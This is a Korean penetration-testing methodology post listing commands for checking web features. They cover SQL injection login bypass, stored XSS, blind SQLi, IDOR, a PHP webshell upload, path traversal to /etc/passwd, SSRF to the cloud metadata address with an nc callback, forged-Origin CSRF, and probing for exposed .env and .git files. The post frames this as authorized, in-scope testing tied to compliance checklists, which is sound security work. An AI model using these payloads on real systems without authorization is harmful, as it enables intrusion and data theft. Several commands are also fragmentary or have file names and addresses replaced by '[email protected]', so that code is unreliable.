모의해킹 방법론: 웹&앱 점검 명령어 가이드

앞의 글(반응으로 취약점을 추론하기, 전자금융기반시설·주요정보통신기반시설 기준 확인)에서 "어떤 반응이 나오면 어떤 약점을 의심하는가"와 "그게 실제 공식 기준 항목과 일치하는가"를 정리했다. 이번 글은 그다음 단계 — 실제 사이트를 훑을 때 화면에 보이는 기능 하나하나마다 무슨 명령어를 넣어보는지를 정리한다. 계약 스코프나 자신이 운영하는 테스트 환경 안에서만 실행해야 한다는 전제는 동일하다.

명령어는 어디서든 바로 쓸 수 있는 curl을 기본으로 하고, 자동화가 필요한 항목만 sqlmap·ffuf 같은 전용 도구를 곁들였다. 각 절 끝에는 전자금융기반시설(항목 번호)과 주요정보통신기반시설(2026년 21개 항목 기준) 양쪽의 대응 항목명을 같이 표기했다.

로그인 폼이 있다면#

로그인 폼 하나에서 확인할 게 SQLi 우회, 계정 열거, 브루트포스, 세션 관리까지 네 갈래로 갈린다.

# SQL 인젝션으로 인증 우회 시도 — 응답이 정상 로그인과 같아지면 의심
username=admin' OR '1'='1'-- -&password=x" -o
username=admin' AND '1'='2'-- -&password=x"

# 계정 열거 — 존재하는 아이디와 존재하지 않는 아이디의 응답이 다른지 비교
"username=existing_user&password=wrong"
"username=no_such_user&password=wrong"

# 로그인 폼 자동 SQLi 스캔 (sqlmap이 폼을 직접 인식)
sqlmap -u "$TARGET/login" --forms --batch --level=3 --risk=2

# Rate limiting 부재 확인 — 짧은 시간에 반복 요청해서 전부 200/401로만 처리되는지
for i in $(seq 1 30); do
  curl -s -o /dev/null -w "%{http_code}\n" -X POST "$TARGET/login" -d "username=admin&password=try$i"
done

# 세션 무효화 확인 — 로그아웃 후 이전 쿠키가 여전히 통하는지
curl -s -b "session=$OLD_SESSION_AFTER_LOGOUT" "$TARGET/mypage" -o after_logout.html

전자금융기반시설 025(SQL Injection)·047~054(인증정보 재사용, 인증오류 제한, 세션종료) / 주요정보통신기반시설 SQL 인젝션·불충분한 인증 절차·자동화 공격·불충분한 세션관리

게시판 글쓰기·댓글처럼 입력이 저장되는 기능이 있다면#

저장형 XSS는 넣는 시점이 아니라 조회하는 시점에 확인해야 한다.

PAYLOAD='<script>document.title="xss-poc"</script>'
curl -s -X POST "$TARGET/board/write" \
  -H "Cookie: session=$SESSION" \
  -d "title=test&content=$PAYLOAD"

# 방금 쓴 글을 조회해서 페이로드가 이스케이프됐는지 확인
curl -s "$TARGET/board/view?id=$NEW_POST_ID" | grep -o '<script>document.title="xss-poc"</script>'
# 그대로 나오면 저장형 XSS, &lt;script&gt;로 인코딩돼 있으면 안전

전자금융기반시설 042(XSS) / 주요정보통신기반시설 크로스사이트스크립트

게시글 상세·상품 상세처럼 ?id= 파라미터로 리소스를 조회하는 기능이 있다면#

같은 파라미터에서 SQLi와 IDOR을 같이 확인한다.

# 시간 기반 블라인드 SQLi — 응답 시간이 정확히 비례하는지 확인
time curl -s "$TARGET/item?id=1" -o /dev/null
time curl -s "$TARGET/item?id=1;SELECT SLEEP(5)--" -o /dev/null

# id 파라미터 자동 SQLi 스캔
sqlmap -u "$TARGET/item?id=1" --batch --level=3 --risk=2

# IDOR — 계정 A로 로그인한 세션으로 계정 B 소유 리소스 ID에 접근
curl -s -H "Cookie: session=$SESSION_ACCOUNT_A" "$TARGET/order?id=$ORDER_ID_OF_ACCOUNT_B"
# 403/404가 아니라 200과 함께 실제 데이터가 내려오면 접근 제어 누락

전자금융기반시설 025(SQL Injection)·027(부적절한 이용자 인가) / 주요정보통신기반시설 SQL 인젝션·불충분한 권한검증

파일 업로드 기능이 있다면#

확장자·MIME 타입·매직바이트 중 하나만 검증하고 있는지 각각 따로 찔러본다.

echo '<?php system($_GET["cmd"]); ?>' > shell.php

# 확장자만 우회
cp shell.php shell.php.jpg
curl -s -F "[email protected]" "$TARGET/upload"

# MIME 타입만 위조
curl -s -F "[email protected];type=image/jpeg" "$TARGET/upload"

# 업로드된 경로를 추측해서 실제로 실행되는지 확인 (스코프 내 자산에서만)
curl -s "$TARGET/uploads/shell.php.jpg?cmd=id"

전자금융기반시설 026(악성파일 업로드) / 주요정보통신기반시설 악성 파일업로드

파일명·경로를 파라미터로 받는 다운로드·조회 기능이 있다면#

curl -s "$TARGET/download?file=../../../../etc/passwd"
curl -s "$TARGET/download?file=..%2f..%2f..%2fetc%2fpasswd"   # URL 인코딩 우회
curl -s "$TARGET/download?file=....//....//etc/passwd"        # 필터링 우회(중첩 치환 노림)

응답에 root:x:0:0 같은 실제 시스템 파일 내용이 섞여 나오면 확정이다.

전자금융기반시설 028(파일 다운로드) / 주요정보통신기반시설 파일다운로드

외부 URL을 입력받는 기능(웹훅 등록, 프로필 이미지 URL, PDF 변환기)이 있다면#

응답만으로 안 보이는 경우가 많아서 아웃오브밴드 확인까지 해야 확정할 수 있다.

# 클라우드 메타데이터 주소로 응답 시간/에러 패턴 비교
curl -s -X POST "$TARGET/webhook" -d "url=http://169.254.169.254/latest/meta-data/" -o ssrf_meta.html
curl -s -X POST "$TARGET/webhook" -d "url=http://example.com" -o ssrf_normal.html
diff ssrf_meta.html ssrf_normal.html

# 자신이 통제하는 서버(webhook.site, 또는 nc 리스너)로 콜백 유도 — 확실한 증거
nc -lvnp 8080 &
curl -s -X POST "$TARGET/webhook" -d "url=http://$MY_IP:8080/ssrf-poc"

전자금융기반시설 043(SSRF) / 주요정보통신기반시설 서버사이드요청위조

비밀번호 변경·계좌이체·설정 변경처럼 상태를 바꾸는 요청이 있다면#

# CSRF 토큰 없이 그대로 재전송
curl -s -X POST "$TARGET/settings/email" \
  -H "Cookie: session=$SESSION" \
  -d "[email protected]"
# 200/성공 응답이면 토큰 검증이 없다는 뜻

# Origin/Referer 조작해서 검증 여부 확인
curl -s -X POST "$TARGET/settings/email" \
  -H "Cookie: session=$SESSION" -H "Origin: https://evil.example" \
  -d "[email protected]&csrf_token=$STOLEN_OR_GUESSED_TOKEN"

전자금융기반시설 035(CSRF) / 주요정보통신기반시설 크로스사이트요청위조

사이트 전체를 대상으로 한 번은 훑어야 하는 것들#

개별 기능이 아니라 사이트 구조 자체에서 나오는 항목들이다.

# 숨겨진 디렉터리/관리자 페이지 탐색
ffuf -u "$TARGET/FUZZ" -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403

# 흔한 정보 노출 파일
for f in .git/HEAD .env .env.bak backup.sql wp-config.php.bak; do
  echo -n "$f: "; curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/$f"
done

# 허용되지 않아야 할 HTTP 메서드가 실제로 처리되는지
for m in OPTIONS PUT DELETE TRACE; do
  echo -n "$m: "; curl -s -o /dev/null -w "%{http_code}\n" -X $m "$TARGET/api/resource/1"
done

# 디렉토리 인덱싱, 에러페이지에서 스택 트레이스 노출 여부
curl -s "$TARGET/uploads/" | grep -i "index of"
curl -s "$TARGET/nonexistent-trigger-error" | grep -iE "stack trace|exception|at line"

전자금융기반시설 038(시스템 운영정보 노출)·039(불필요한 웹 메서드 허용) / 주요정보통신기반시설 정보 누출·디렉토리 인덱싱·에러페이지 적용 미흡·관리자 페이지 노출·불필요한 Method 사용

해당 명령어들은 가설을 빠르게 만드는 도구일 뿐이다#

여기 나온 명령어들은 전부 "의심할 근거"를 빨리 만들어내는 용도다. diff로 응답이 다르다는 걸 확인했다고 바로 취약점으로 보고하지 않고, 왜 다른지(참/거짓 조건이 실제로 쿼리에 반영됐는지, 우연히 서버가 느려진 건 아닌지)까지 반복 실행으로 좁혀야 리포트에 쓸 수 있는 근거가 된다. 실무에서는 이 명령어들을 스코프 안의 자산 목록에 맞춰 스크립트로 묶어두고, 새 자산이 생길 때마다 같은 순서로 한 번씩 돌려보는 식으로 쓴다.